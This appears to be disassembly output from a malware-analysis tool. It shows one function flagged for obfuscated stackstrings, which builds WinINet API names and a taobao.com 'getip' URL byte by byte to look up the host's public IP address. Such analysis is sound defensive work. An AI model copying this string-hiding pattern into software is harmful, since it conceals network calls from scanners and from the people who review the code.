Function at 0x1001cac0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xb0
mov al, 0x4e
push ebx
push ebp
mov byte [esp + 0xa], al
mov byte [esp + 0xc], al
push esi
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x10]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x49
mov byte [esp + 0x1b], 0x49
mov byte [esp + 0x1d], 0x45
mov byte [esp + 0x1e], 0x54
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x6c
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], 0
mov byte [esp + 0x24], 0x49
mov byte [esp + 0x25], 0x6e
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2c], 0x4f
mov byte [esp + 0x2d], 0x70
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x30], 0x41
mov byte [esp + 0x31], 0
call fcn.1001d6c0
mov esi, eax
lea edx, [esp + 0x34]
lea eax, [esp + 0x18]
push edx
push eax
mov byte [esp + 0x3c], 0x49
mov byte [esp + 0x3d], 0x6e
mov byte [esp + 0x3e], 0x74
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0x72
mov byte [esp + 0x41], 0x6e
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], 0x74
mov byte [esp + 0x44], 0x4f
mov byte [esp + 0x45], 0x70
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], 0x55
mov byte [esp + 0x49], 0x72
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x41
mov byte [esp + 0x4c], 0
call fcn.1001d6c0
mov edi, eax
mov byte [esp + 0x78], 0x49
mov byte [esp + 0x79], 0x6e
mov byte [esp + 0x7a], 0x74
mov byte [esp + 0x7b], bl
mov byte [esp + 0x7c], 0x72
mov byte [esp + 0x7d], 0x6e
mov byte [esp + 0x7e], bl
mov byte [esp + 0x7f], 0x74
mov byte [esp + 0x80], 0x51
mov byte [esp + 0x81], 0x75
mov byte [esp + 0x82], bl
mov byte [esp + 0x83], 0x72
mov byte [esp + 0x84], 0x79
mov byte [esp + 0x85], 0x44
mov byte [esp + 0x86], 0x61
mov byte [esp + 0x87], 0x74
mov byte [esp + 0x88], 0x61
mov byte [esp + 0x89], 0x41
mov byte [esp + 0x8a], 0x76
mov byte [esp + 0x8b], 0x61
lea ecx, [esp + 0x78]
lea edx, [esp + 0x20]
push ecx
push edx
mov byte [esp + 0x94], 0x69
mov byte [esp + 0x95], 0x6c
mov byte [esp + 0x96], 0x61
mov byte [esp + 0x97], 0x62
mov byte [esp + 0x98], 0x6c
mov byte [esp + 0x99], bl
mov byte [esp + 0x9a], 0
call fcn.1001d6c0
mov dword [esp + 0xc8], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x28]
push eax
push ecx
mov byte [esp + 0x60], 0x49
mov byte [esp + 0x61], 0x6e
mov byte [esp + 0x62], 0x74
mov byte [esp + 0x63], bl
mov byte [esp + 0x64], 0x72
mov byte [esp + 0x65], 0x6e
mov byte [esp + 0x66], bl
mov byte [esp + 0x67], 0x74
mov byte [esp + 0x68], 0x52
mov byte [esp + 0x69], bl
mov byte [esp + 0x6a], 0x61
mov byte [esp + 0x6b], 0x64
mov byte [esp + 0x6c], 0x46
mov byte [esp + 0x6d], 0x69
mov byte [esp + 0x6e], 0x6c
mov byte [esp + 0x6f], bl
mov byte [esp + 0x70], 0
call fcn.1001d6c0
mov dword [esp + 0xd4], eax
lea edx, [esp + 0x74]
lea eax, [esp + 0x30]
push edx
push eax
mov byte [esp + 0x7c], 0x49
mov byte [esp + 0x7d], 0x6e
mov byte [esp + 0x7e], 0x74
mov byte [esp + 0x7f], bl
mov byte [esp + 0x80], 0x72
mov byte [esp + 0x81], 0x6e
mov byte [esp + 0x82], bl
mov byte [esp + 0x83], 0x74
mov byte [esp + 0x84], 0x43
mov byte [esp + 0x85], 0x6c
mov byte [esp + 0x86], 0x6f
mov byte [esp + 0x87], 0x73
mov byte [esp + 0x88], bl
mov byte [esp + 0x89], 0x48
mov byte [esp + 0x8a], 0x61
mov byte [esp + 0x8b], 0x6e
mov byte [esp + 0x8c], 0x64
mov byte [esp + 0x8d], 0x6c
mov byte [esp + 0x8e], bl
mov byte [esp + 0x8f], 0
call fcn.1001d6c0
mov ebp, eax
mov dl, 0x68
mov al, 0x2f
mov cl, 0x77
add esp, 0x28
mov byte [esp + 0x84], dl
mov byte [esp + 0x85], 0x74
mov byte [esp + 0x86], 0x74
mov byte [esp + 0x87], 0x70
mov byte [esp + 0x88], 0x3a
mov byte [esp + 0x89], al
mov byte [esp + 0x8a], al
mov byte [esp + 0x8b], cl
mov byte [esp + 0x8c], cl
mov byte [esp + 0x8d], cl
mov byte [esp + 0x8e], 0x2e
mov byte [esp + 0x8f], 0x74
mov byte [esp + 0x90], 0x61
mov byte [esp + 0x91], 0x6f
mov byte [esp + 0x92], 0x62
push 0
push 0
push 0
push 0
push 0
mov byte [esp + 0xa7], 0x61
mov byte [esp + 0xa8], 0x6f
mov byte [esp + 0xa9], 0x2e
mov byte [esp + 0xaa], 0x63
mov byte [esp + 0xab], 0x6f
mov byte [esp + 0xac], 0x6d
mov byte [esp + 0xad], al
mov byte [esp + 0xae], dl
mov byte [esp + 0xaf], bl
mov byte [esp + 0xb0], 0x6c
mov byte [esp + 0xb1], 0x70
mov byte [esp + 0xb2], al
mov byte [esp + 0xb3], 0x67
mov byte [esp + 0xb4], bl
mov byte [esp + 0xb5], 0x74
mov byte [esp + 0xb6], 0x69
mov byte [esp + 0xb7], 0x70
mov byte [esp + 0xb8], 0x2e
mov byte [esp + 0xb9], 0x70
mov byte [esp + 0xba], dl
mov byte [esp + 0xbb], 0x70
mov byte [esp + 0xbc], 0
call esi
mov esi, eax
test esi, esi
je 0x1001d001
push 0
push SysReAllocString
push 0
lea ecx, [esp + 0x90]
push 0
push ecx
push esi
call edi
mov edi, eax
test edi, edi
mov dword [esp + 0xb8], edi
jne 0x1001cf07
push esi
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xb0
ret
push 0
lea edx, [esp + 0xb0]
push 0
push edx
push edi
call dword [esp + 0xc0]
test eax, eax
jne 0x1001cf32
push edi
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xb0
ret
mov eax, dword [esp + 0xac]
inc eax
push eax
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0xb0]
add esp, 4
inc ecx
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0xac]
mov edi, dword [esp + 0xb8]
lea eax, [esp + 0xbc]
push eax
push ecx
push ebx
push edi
call dword [esp + 0xc4]
test eax, eax
jne 0x1001cf9f
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
push edi
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xb0
ret
push edi
call ebp
push esi
call ebp
push 0x22
push ebx
call dword [sym.imp.MSVCRT.dll_strchr]
push 0x22
push ebx
mov esi, eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x10
test esi, esi
je 0x1001cff8
test eax, eax
je 0x1001cff8
inc esi
mov byte [eax], 0
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
push ebx
mov esi, eax
call sub.MFC42.DLL_operatordelete
add esp, 4
cmp esi, 0xffffffff
je 0x1001cff8
mov edx, dword [esp + 0xc4]
pop edi
mov eax, 1
mov dword [edx], esi
pop esi
pop ebp
pop ebx
add esp, 0xb0
ret
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xb0
ret